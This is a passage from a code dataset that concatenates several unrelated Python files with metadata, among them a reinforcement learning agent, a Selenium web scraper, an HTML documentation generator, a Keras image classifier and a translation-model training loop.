min(-0.09 * (position + 0.25) ** 2 + 0.03,\n 0.3 * (position + 0.9) ** 4 - 0.008)\n ub = -0.07 * (position + 0.38) ** 2 + 0.07\n if lb < velocity < ub:\n action = 2\n else:\n action = 0\n return action # 返回动作\n\n def learn(self,*args):\n pass\nagent = BespokeAgent(env)\n\ndef play_montecarlo(env,agent,render=False,train=False):\n episode_reward = 0\n observation = env.reset()\n while True:\n if render:\n env.render()\n action = agent.decide(observation)\n next_observation, reward, done, _ = env.step(action)\n episode_reward += reward\n if train:\n agent.learn(observation, action, reward, done, )\n if done:\n break\n observation = next_observation\n return episode_reward\n\nenv.seed(0) # 设置随机数种子,只是为了让结果可以精确复现,一般情况下可删去\nepisode_reward = play_montecarlo(env, agent, render=False)\nprint('回合奖励 = {}'.format(episode_reward))\nenv.close() # 此语句可关闭图形界面\n\nepisode_rewards = [play_montecarlo(env, agent) for _ in range(100)]\nprint('平均回合奖励 = {}'.format(np.mean(episode_rewards)))", "sub_path": "gym_env.py", "file_name": "gym_env.py", "file_ext": "py", "file_size_in_byte": 2394, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.random.seed", "line_number": 2, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 2, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 7, "usage_type": "call"}, {"api_name": "gym.envs.registry.all", "line_number": 9, "usage_type": "call"}, {"api_name": "gym.envs", "line_number": 9, "usage_type": "attribute"}, {"api_name": "gym.make", "line_number": 13, "usage_type": "call"}, {"api_name": "gym.wrappers", "line_number": 18, "usage_type": "attribute"}, {"api_name": "gym.make", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 74, "usage_type": "call"}]} {"seq_id": "409600801", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 3 09:05:19 2020\n\n@author: josephamico\n\"\"\"\n\nfrom selenium import webdriver\nimport time\nimport pandas as pd\n\n##--Web scrape the data from Tarleton website--##\n\n## Call webdriver, establish options, provide path to Chrome driver, establish function\noptions = webdriver.ChromeOptions()\noptions.add_argument('--ignore-certificate-errors')\noptions.add_argument('--incognito')\noptions.add_argument('--headless') # Prevents launching of a browser window\ndriver = webdriver.Chrome('/usr/local/bin/chromedriver', options = options) # Pass chromedriver path and options to webdriver\ntime.sleep(1)\n\n## Access website and pull html info\nurl = 'https://www.tarleton.edu/scripts/deathrow/'\ndriver.get(url)\ntime.sleep(7) # Allow enough time for website to load \nbutton = driver.find_element_by_xpath('/html/body/div[1]/div[4]/div[1]/div/fieldset[1]/ul/li[1]/a') # xpath to View All Button\nbutton.click() #Select, or 'click', View All button on website\ntime.sleep(5) # Allow enough time for website to load\npage_source = driver.page_source #Download full HTML from current webpage \n\n## Parse html with pandas and close chrome session \nhtml_df_list = pd.read_html(page_source) # Parse HTML using pandas\ndriver.quit() #Close chrome session\n\n################################\n## Create and Clean Dataframe ##\n################################\n\n## Create dataframe\ndeathDF = html_df_list[0] # Pull needed dataframe out of dataframe list\ndeathDF.head()\ndeathDF.columns\n\n##--Clean Information Column--##\n\n## Find missing values\ndeathDF.Information.str.contains(r'(Gender:\\sPlea:)').sum()\ndeathDF.Information.str.contains(r'(Plea:\\sStatement Type:)').sum()\ndeathDF.Information.str.contains(r'(Statement Type:\\sExecution Type:)').sum()\ndeathDF.Information.str.contains(r'(Execution Type:\\sState:)').sum()\n## Replace missing values with 'None'\ndeathDF['Information'] = deathDF.Information.str.replace(r'(Gender:\\sPlea:)','Gender: None Plea:')\ndeathDF['Information'] = deathDF.Information.str.replace(r'(Plea:\\sStatement Type:)','Plea: None Statement Type:')\ndeathDF['Information'] = deathDF.Information.str.replace(r'(Statement Type:\\sExecution Type:)'\n ,'Statement Type: None Execution Type:')\ndeathDF['Information'] = deathDF.Information.str.replace(r'(Execution Type:\\sState:)','Execution Type: None State:')\n## Remove column names from strings\ndeathDF['Information'] = deathDF.Information.str.replace(r'(Gender:)', '')\ndeathDF['Information'] = deathDF.Information.str.replace(r'(Plea:)', '')\ndeathDF['Information'] = deathDF.Information.str.replace(r'(Statement Type:)','')\ndeathDF['Information'] = deathDF.Information.str.replace(r'(Execution Type:)', '')\ndeathDF['Information'] = deathDF.Information.str.replace(r'(State:)', '')\n# deathDF['Information'] = deathDF.Information.str.replace(r'(Lethal Injection)', '')\n# deathDF['Information'] = deathDF.Information.str.replace(r'(Electrocution)', '')\n# deathDF['Information'] = deathDF.Information.str.replace(r'(Firing Squad)', '')\n# deathDF['Information'] = deathDF.Information.str.replace(r'(Gas Chamber)', '')\n# deathDF['Information'] = deathDF.Information.str.replace(r'(Hanging)', '')\n# deathDF['Information'] = deathDF.Information.str.replace(r'(Lethal Gas)', '')\n# deathDF.Information.str.split(' ', expand = True)\n\n## Split the column into seperate columns \ndeathDF[['Name', 'Gender', 'Plea', 'Statement Type'\n , 'Execution Type', 'State']] = deathDF.Information.str.split(' ', expand = True)\n## Check for null values\ndeathDF.isna().sum()\n## Drop Information Column\ndeathDF = deathDF.drop('Information', axis = 1)\ndeathDF.columns\n\n##--Clean Dates Column--##\n\n## Find missing values \ndeathDF.Dates.str.contains(r'(Crime:\\sExecution:)').sum()\n## Replace missing dates with None\ndeathDF['Dates'] = deathDF.Dates.str.replace(r'(Crime:\\sExecution:)', 'Crime: None Execution:')\ndeathDF['Dates'] = deathDF.Dates.str.replace(r'(Crime:)', '')\ndeathDF['Dates'] = deathDF.Dates.str.replace(r'(Execution:)', '')\n## Split column into seperate columns \ndeathDF[['Crime_Date', 'Execution_Date']] = deathDF.Dates.str.split(' ', expand = True)\n## Check for null values \ndeathDF.isna().sum()\n## Drop Dates column \ndeathDF = deathDF.drop('Dates', axis = 1)\n## Check columns \ndeathDF.columns\n\n##--Clean Last Statement Column--##\n## Split column on source\ndeathDF[['Last_Statement', 'Source']] = deathDF['Last Statement'].str.split('Source:', expand = True)\n## Drop Last Statement Column\ndeathDF.drop('Last Statement', axis = 1, inplace = True)\n## Check columns \ndeathDF.columns\n\n## Export to CSV\noutfile_path = '/Users/josephamico/OneDrive - Syracuse University/Semester 8_Summer 2020/IST 736 - Text Mining/Project'\ndeathDF.to_csv(outfile_path + '/Tarleton_Last_Statements.csv', index = False)\n\n\n\n\n\n\n\n\n", "sub_path": "Code/web_scrape.py", "file_name": "web_scrape.py", "file_ext": "py", "file_size_in_byte": 4859, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "selenium.webdriver.ChromeOptions", "line_number": 16, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 16, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 20, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 20, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 21, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.read_html", "line_number": 33, "usage_type": "call"}]} {"seq_id": "137973630", "text": "from cxxdoc.generators.generator import Generator\nfrom cxxdoc.nodes.cxxfunction import CXXParam\nfrom cxxdoc.renderers import markdown, pygments\nimport cxxdoc.diagnostics as diagnostics\n\nfrom jinja2 import Environment, FileSystemLoader\n\nimport os\nimport shutil\nimport glob\nimport subprocess\n\nclass Theme(object):\n def __init__(self, root):\n self.root = root\n self.asset_root = os.path.join(root, 'assets')\n self.template_root = os.path.join(root, 'templates')\n self.css_root = os.path.join(self.asset_root, 'css')\n self.scss_root = os.path.join(self.asset_root, 'scss')\n\n\nclass HTMLGenerator(Generator):\n LAYOUT_NAME = 'layout'\n DOC_NAME = 'doc'\n ELEMENT_NAME = 'element'\n STATIC_DIR = 'static'\n\n def __init__(self, tree, theme_root, output_directory, extra_styles=None):\n # TODO(Jacob): add option for generating based on links\n # TODO(Jacob): add option for different extensions\n super().__init__(tree, output_directory)\n self.extension = 'html'\n self.static_output = os.path.join(self.output_directory, self.STATIC_DIR)\n self.extra_styles = extra_styles\n\n self.theme = Theme(theme_root)\n self.env = Environment(\n loader=FileSystemLoader(self.theme.template_root)\n )\n self.layout = self.__get_template(HTMLGenerator.LAYOUT_NAME)\n self.doc = self.__get_template(HTMLGenerator.DOC_NAME)\n self.element = self.__get_template(HTMLGenerator.ELEMENT_NAME)\n self.data = {\n 'static_files': os.path.join('.', self.STATIC_DIR)\n }\n self.markdown = markdown.MarkdownRenderer()\n\n def generate_impl(self):\n if os.path.exists(self.static_output):\n shutil.rmtree(self.static_output)\n\n self.__generate_styles(self.theme.css_root)\n self.__generate_styles(self.theme.scss_root)\n if self.extra_styles is not None:\n self.__generate_styles(self.extra_styles)\n\n for elem, children in self.tree.items():\n self.__generate_files(elem, children)\n\n def __get_template(self, name):\n return self.env.get_template(name + '.' + self.extension)\n\n def __generate_files(self, file, children):\n for c in children:\n doc = self.__generate_doc(file, c)\n if isinstance(c, CXXParam):\n continue\n path = os.path.join(self.output_directory, c.get_filename() + '.html')\n with open(path, 'w') as html:\n html.write(doc)\n\n def __generate_doc(self, file, node):\n self.__generate_files(file, node.children)\n\n children = []\n for c in node.children:\n if not isinstance(c, CXXParam):\n highlighter = pygments.PygmentsRenderer('cpp', c.get_signature())\n keys = {\n 'name': c.cursor.spelling,\n 'signature': highlighter.highlight_inline(),\n 'link': c.get_filename() + '.html'\n }\n if c.docobj is not None:\n keys['abstract'] = markdown.MarkdownRenderer().render(c.docobj.abstract)\n children.append(keys)\n\n highlighter = pygments.PygmentsRenderer('cpp', node.get_signature())\n keys = {\n 'data': self.data,\n 'file': file,\n 'kind': node.kind,\n 'name': node.cursor.spelling,\n 'signature': highlighter.highlight_inline(),\n 'children': children\n }\n\n if node.docobj is not None:\n keys['abstract'] = self.markdown.render(node.docobj.abstract)\n keys['discussion'] = self.markdown.render(node.docobj.discussion)\n keys['params'] = node.docobj.params\n keys['return'] = node.docobj.return_val\n\n return self.doc.render(keys)\n\n def __generate_styles(self, path):\n for p in glob.glob(os.path.join(path, '*.css')):\n shutil.copy(p, self.static_output)\n\n sass_files = glob.glob(os.path.join(path, '*.scss'))\n if len(sass_files) <= 0:\n return\n\n sass = shutil.which('sass')\n if sass is None:\n diagnostics.write_warning('SASS compilation not available. Install SASS for '\n 'automatic compilation of *.scss stylesheets')\n if sass is not None:\n diagnostics.write_message('compiling SASS files')\n sass_dirs = '{0}:{1}'.format(path, self.static_output)\n subprocess.call([sass, '--update', sass_dirs])\n", "sub_path": "cxxdoc/generators/html.py", "file_name": "html.py", "file_ext": "py", "file_size_in_byte": 4539, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cxxdoc.generators.generator.Generator", "line_number": 22, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "jinja2.Environment", "line_number": 37, "usage_type": "call"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "cxxdoc.renderers.markdown.MarkdownRenderer", "line_number": 46, "usage_type": "call"}, {"api_name": "cxxdoc.renderers.markdown", "line_number": 46, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 50, "usage_type": "call"}, {"api_name": "cxxdoc.nodes.cxxfunction.CXXParam", "line_number": 66, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "cxxdoc.nodes.cxxfunction.CXXParam", "line_number": 77, "usage_type": "argument"}, {"api_name": "cxxdoc.renderers.pygments.PygmentsRenderer", "line_number": 78, "usage_type": "call"}, {"api_name": "cxxdoc.renderers.pygments", "line_number": 78, "usage_type": "name"}, {"api_name": "cxxdoc.renderers.markdown.MarkdownRenderer", "line_number": 85, "usage_type": "call"}, {"api_name": "cxxdoc.renderers.markdown", "line_number": 85, "usage_type": "name"}, {"api_name": "cxxdoc.renderers.pygments.PygmentsRenderer", "line_number": 88, "usage_type": "call"}, {"api_name": "cxxdoc.renderers.pygments", "line_number": 88, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 108, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "shutil.which", "line_number": 114, "usage_type": "call"}, {"api_name": "cxxdoc.diagnostics.write_warning", "line_number": 116, "usage_type": "call"}, {"api_name": "cxxdoc.diagnostics", "line_number": 116, "usage_type": "name"}, {"api_name": "cxxdoc.diagnostics.write_message", "line_number": 119, "usage_type": "call"}, {"api_name": "cxxdoc.diagnostics", "line_number": 119, "usage_type": "name"}, {"api_name": "subprocess.call", "line_number": 121, "usage_type": "call"}]} {"seq_id": "534398311", "text": "from pandemic.client import BaseSimulator\nimport os\nfrom pprint import pprint\nimport uuid\n\nclass AmphoraSimulator(BaseSimulator):\n\n # An example of logging simulation metrics somewhere\n\n def __init__(self, params=None, baseline=None):\n super().__init__(params=params, baseline=baseline)\n self.credentials = os.environ.get('AMPHORA')\n\n def start_of_run_callback(self):\n super().start_of_run_callback()\n self.run_id = str(uuid.uuid4())\n\n def end_of_day_callback(self):\n super().end_of_day_callback()\n payload = {'run_id':self.run_id,\n 'day':self.state['day'],\n 'metrics':self.daily_metrics(),\n 'positions':self.state['positions'],\n 'status': self.state['status']\n }\n print('Pretending to send')\n pprint(payload)\n\n\nif __name__==\"__main__\":\n os.environ['AMPHORA'] = 'Collosal Oca'\n simulator = AmphoraSimulator(baseline='town')\n simulator.run()\n", "sub_path": "pandemic/amphora.py", "file_name": "amphora.py", "file_ext": "py", "file_size_in_byte": 1008, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pandemic.client.BaseSimulator", "line_number": 6, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 12, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 16, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 27, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 31, "usage_type": "attribute"}]} {"seq_id": "392625669", "text": "# coding: utf-8\n# vim:fenc=utf-8:sts=0:ts=4:sw=4:et:tw=80\n\n#\n# Copyright © 2016 gr4ph3 <giraffeoncode@gmail.com>\n#\n# Distributed under terms of the MIT license.\n#\nfrom __future__ import unicode_literals\nimport re\nfrom cached_property import cached_property\ntry:\n from seasonvar.requester import SeasonvarRequester\nexcept ImportError:\n from requester import SeasonvarRequester\n\n\nSEASON = r'(\\/serial-(?P<id>\\d+)-(?:.+?)'\\\n '(?:-(?:\\d+)-(?:sezon|season))?\\.html)'\n\n\ndef secure(html):\n regexp = re.compile(r'secureMark\\s*=\\s*\"([a-f0-9]+)\"')\n for result in regexp.findall(html):\n return result\n\n\ndef url2thumb(url):\n regexp = re.compile(r'^(?:http:.*?)?{0}$'.format(SEASON))\n m = regexp.match(url)\n if m:\n return 'http://cdn.seasonvar.ru'\\\n '/oblojka/{0}.jpg'.format(m.group('id'))\n\n\nclass Season:\n def __init__(self, **kwargs):\n self.url = kwargs.get('url')\n self.id = kwargs.get('id')\n self.trname = kwargs.get('trname')\n self.name = kwargs.get('name')\n self.number = kwargs.get('number')\n self.thumb = url2thumb(self.url)\n self.html = kwargs.get('html')\n self.__requester = kwargs.get('requester', SeasonvarRequester())\n self.__secure = None\n\n @property\n def episodes(self):\n playlist_url = 'http://seasonvar.ru/playls2/{0}x/trans/{1}/'\\\n 'list.xml'.format(self.secure, self.id)\n playlist = self.__requester.get_json(playlist_url)\n return list(self._playlist_entries(playlist))\n\n def _playlist_entries(self, playlist_dict):\n playlist = playlist_dict['playlist']\n for entry in playlist:\n if 'playlist' in entry:\n for episode in entry['playlist']:\n yield {'url': episode['file'],\n 'name': episode['comment'].replace('<br>', ' '),\n 'thumb': self.thumb}\n else:\n yield {'url': entry['file'],\n 'name': entry['comment'].replace('<br>', ' '),\n 'thumb': self.thumb}\n\n @cached_property\n def secure(self):\n return secure(self.html)\n\n\nclass Series:\n def __init__(self, url):\n self.__requester = SeasonvarRequester()\n absurl = self.__requester.absurl(url)\n relurl = self.__requester.relurl(url)\n self.__url = relurl\n self.__html = self.__requester.get(absurl)\n self.__current_season = None\n\n @cached_property\n def seasons(self):\n return list(self._seasons_from_html())\n\n @cached_property\n def current_season(self):\n for season in self.seasons:\n if season.url == self.__url:\n season.html = self.__html\n return season\n\n def _seasons_from_html(self):\n regexp = re.compile(r'<h2>.*?<a[^>]+?href=\"{0}\"'.format(SEASON),\n re.DOTALL)\n for num, (surl, sid) in enumerate(regexp.findall(self.__html), 1):\n yield Season(url=surl, id=sid, number=num,\n requester=self.__requester)\n", "sub_path": "resources/site-packages/seasonvar/series.py", "file_name": "series.py", "file_ext": "py", "file_size_in_byte": 3114, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "re.compile", "line_number": 23, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 29, "usage_type": "call"}, {"api_name": "requester.SeasonvarRequester", "line_number": 45, "usage_type": "call"}, {"api_name": "cached_property.cached_property", "line_number": 68, "usage_type": "name"}, {"api_name": "requester.SeasonvarRequester", "line_number": 75, "usage_type": "call"}, {"api_name": "cached_property.cached_property", "line_number": 82, "usage_type": "name"}, {"api_name": "cached_property.cached_property", "line_number": 86, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 94, "usage_type": "call"}, {"api_name": "re.DOTALL", "line_number": 95, "usage_type": "attribute"}]} {"seq_id": "628323099", "text": "'''\nquick script test to download files and store the content\n'''\n\nimport requests, os\n\nprint(os.getcwd())\n\nurl = 'http://www.textfiles.com/computers/accel.txt' # update url accordingly\nfileName = 'test' # name the file to be written without the extension\n\ndownloadFile = requests.get(url)\nwrittenFile = '%s.txt' % fileName\n\nif downloadFile.status_code == 200:\n print('File downloaded to the variable successfully')\nelse:\n print('File download error. Try again')\n\nprint('')\nwith open(writtenFile, 'wb') as f:\n for x in downloadFile.iter_content(1000):\n f.write(x)\n\nwith open(writtenFile, 'r') as f:\n tempStorage = f.read()\n\nprint(tempStorage)\n\n\n\n\n\n", "sub_path": "file-related/webfile-download.py", "file_name": "webfile-download.py", "file_ext": "py", "file_size_in_byte": 669, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.getcwd", "line_number": 7, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 12, "usage_type": "call"}]} {"seq_id": "52537149", "text": "import numpy as np\nimport os\nfrom keras import backend as K\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Activation, Dropout, Lambda, Flatten\nfrom keras.layers.convolutional import Conv2D, MaxPooling2D\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.optimizers import SGD, RMSprop, Adam\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.utils import multi_gpu_model\nimport tensorflow as tf\nfrom keras.callbacks import ModelCheckpoint, ReduceLROnPlateau, EarlyStopping\nimport pickle\n\npath = \"/nfs/turbo/intmed-bnallamo-turbo/wsliu/Data/UC_colonoscopy/\"\nmodel_path = path + 'models/'\n\nbatch_size=32\n\ntrain_datagen = ImageDataGenerator( \n rotation_range=180,\n width_shift_range=0.2,\n height_shift_range=0.2,\n shear_range=0.1,\n zoom_range=0.2,\n horizontal_flip=True,\n vertical_flip=True,\n fill_mode='nearest',\n rescale=1./255)\n\ntest_datagen = ImageDataGenerator(rescale=1./255)\n\ntrain_generator = train_datagen.flow_from_directory(\n path+'split_patients/train/', # this is the target directory\n target_size=(256, 320), \n batch_size=batch_size,\n class_mode='categorical')\n\nvalidation_generator = test_datagen.flow_from_directory(\n path+'split_patients/validation/',\n target_size=(256, 320),\n batch_size=batch_size,\n shuffle=False,\n class_mode='categorical')\n\nmodel = Sequential()\nmodel.add(Conv2D(32, (3, 3), input_shape=(256, 320, 3), padding='same', activation='relu'))\nmodel.add(Conv2D(32, (3, 3), padding='same', activation='relu'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPooling2D((2, 2), strides=(2,2)))\n\nmodel.add(Conv2D(32, (3, 3), padding='same', activation='relu'))\nmodel.add(Conv2D(32, (3, 3), padding='same', activation='relu'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPooling2D((2, 2), strides=(2,2)))\n\nmodel.add(Conv2D(64, (3, 3), padding='same', activation='relu'))\nmodel.add(Conv2D(64, (3, 3), padding='same', activation='relu'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPooling2D((2, 2), strides=(2,2)))\n\nmodel.add(Conv2D(128, (3, 3), padding='same', activation='relu'))\nmodel.add(Conv2D(128, (3, 3), padding='same', activation='relu'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPooling2D((2,2), strides=(2,2)))\n\nmodel.add(Conv2D(128, (3, 3), padding='same', activation='relu'))\nmodel.add(Conv2D(128, (3, 3), padding='same', activation='relu'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPooling2D((2,2), strides=(2,2)))\n\nmodel.add(Flatten()) \nmodel.add(Dense(256))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(4))\nmodel.add(Activation('sigmoid'))\n\nadam = Adam()\nmodel.compile(loss='categorical_crossentropy',\n optimizer=adam,\n metrics=['accuracy'])\n\ncheckpointer = ModelCheckpoint(filepath=model_path+'splitp0201.h5', verbose=0, save_best_only=True, save_weights_only=True)\nreduce_lr = ReduceLROnPlateau(monitor='loss', factor=0.3, patience=10, min_lr=1.e-7)\nearlystop = EarlyStopping(monitor='loss', patience=30)\n\nhistory = model.fit_generator(\n train_generator,\n steps_per_epoch=train_generator.samples // (batch_size),\n epochs=200,\n validation_data=validation_generator,\n validation_steps=validation_generator.samples // (batch_size),\n callbacks = [checkpointer, reduce_lr, earlystop],\n verbose=2);\n\nmodel.save_weights(model_path+'splitp0201f.h5')\n\nwith open('output/splitp0201.pkl', 'wb') as f:\n pickle.dump(history.history, f, -1)\n", "sub_path": "UC_colonoscopy/recycle/scratch_single.py", "file_name": "scratch_single.py", "file_ext": "py", "file_size_in_byte": 3596, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 20, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 31, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 46, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 47, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 50, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 52, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 53, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 54, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 55, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 57, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 58, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 59, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 60, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 62, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 63, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 65, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 68, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.layers.core.Flatten", "line_number": 72, "usage_type": "call"}, {"api_name": "keras.layers.core.Dense", "line_number": 73, "usage_type": "call"}, {"api_name": "keras.layers.core.Activation", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.layers.core.Dropout", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.layers.core.Dense", "line_number": 76, "usage_type": "call"}, {"api_name": "keras.layers.core.Activation", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 79, "usage_type": "call"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 84, "usage_type": "call"}, {"api_name": "keras.callbacks.ReduceLROnPlateau", "line_number": 85, "usage_type": "call"}, {"api_name": "keras.callbacks.EarlyStopping", "line_number": 86, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 100, "usage_type": "call"}]} {"seq_id": "90084279", "text": "import configs\nfrom model_utils import *\nfrom typing import *\nfrom model import Model\nimport os\nfrom log import log\nimport time\nimport data_utils\nimport re\nfrom nltk.translate.bleu_score import corpus_bleu\nimport json\nfrom informative_lr_scheduler import InformativeLrScheduler\n\n\nclass Runner:\n def __init__(self):\n self.model = Model()\n self.xe_loss = nn.CrossEntropyLoss(ignore_index=data_utils.tgt_vocab.padding_id)\n self.optimizer = optim.Adam(self.model.parameters(), lr=configs.lr)\n self.lr_scheduler = InformativeLrScheduler(\n self.optimizer, 'min',\n patience=configs.lr_scheduler_patience,\n factor=configs.lr_scheduler_factor, verbose=True\n )\n self.epoch_idx = 0\n self.min_validating_ppl = 1000.\n self.ckpt_id = '0.0'\n self.prev_ckpt_path = ''\n\n def train(self):\n if configs.ckpt_id or configs.loads_ckpt or configs.loads_best_ckpt:\n self.load_ckpt()\n\n while self.epoch_idx < configs.epoch_num:\n log(f'starting epoch {self.epoch_idx}')\n log('training')\n\n avg_loss = 0.\n batch_num = 0\n next_logging_pct = .5\n\n start_time = time.time()\n\n for pct, batch in data_utils.gen_batches('train'):\n batch_num += 1\n self.model.train()\n (\n # [max_src_len, batch_size], [batch_size]\n src_sent_batch, src_len_batch,\n # [max_tgt_len, batch_size], [batch_size]\n tgt_sent_batch, tgt_len_batch,\n _\n\n ) = batch\n\n self.optimizer.zero_grad()\n\n # [max_tgt_len - 1, batch_size, tgt_vocab_size]\n tgt_word_logit_vecs_batch = self.model(\n # [max_src_len, batch_size], [batch_size]\n src_sent_batch, src_len_batch,\n # [max_tgt_len, batch_size], [batch_size]\n tgt_sent_batch, tgt_len_batch,\n )\n\n loss = self.xe_loss(\n # [(max_tgt_len - 1 * batch_size), tgt_vocab_size]\n tgt_word_logit_vecs_batch.view(-1, data_utils.tgt_vocab.size),\n # [(max_tgt_len - 1) * batch_size]\n tgt_sent_batch[1:].contiguous().view(-1).to(torch.device(configs.decoder_device_id))\n )\n\n loss.backward()\n\n if configs.clips_grad_norm:\n nn.utils.clip_grad_norm_(self.model.parameters(), max_norm=configs.max_grad_norm)\n\n self.optimizer.step()\n avg_loss += loss.item()\n\n if pct >= next_logging_pct:\n log(\n f'{int(pct)}%, avg_train_loss: {avg_loss / batch_num:.6}, '\n f'avg_train_ppl: {math.exp(avg_loss / batch_num):.6}, '\n f'time: {time.time() - start_time:.6}'\n )\n next_logging_pct += 10.\n\n log(\n f'100%, avg_train_loss: {avg_loss / batch_num:.6}, '\n f'avg_train_ppl: {math.exp(avg_loss / batch_num):.6}, '\n f'time: {time.time() - start_time:.6}'\n )\n\n self.validate()\n self.epoch_idx += 1\n\n def validate(self):\n with torch.no_grad():\n log('validating')\n\n self.model.eval()\n batch_num = 0\n avg_loss = 0.\n next_logging_pct = .5\n\n start_time = time.time()\n\n for pct, batch in data_utils.gen_batches('valid'):\n batch_num += 1\n (\n # [max_src_len, batch_size], [batch_size]\n src_sent_batch, src_len_batch,\n # [max_tgt_len, batch_size], [batch_size]\n tgt_sent_batch, tgt_len_batch,\n _\n ) = batch\n\n # [max_tgt_len - 1, batch_size, tgt_vocab_size]\n tgt_word_logit_vecs_batch = self.model(\n # [max_src_len, batch_size], [batch_size]\n src_sent_batch, src_len_batch,\n # [max_tgt_len, batch_size], 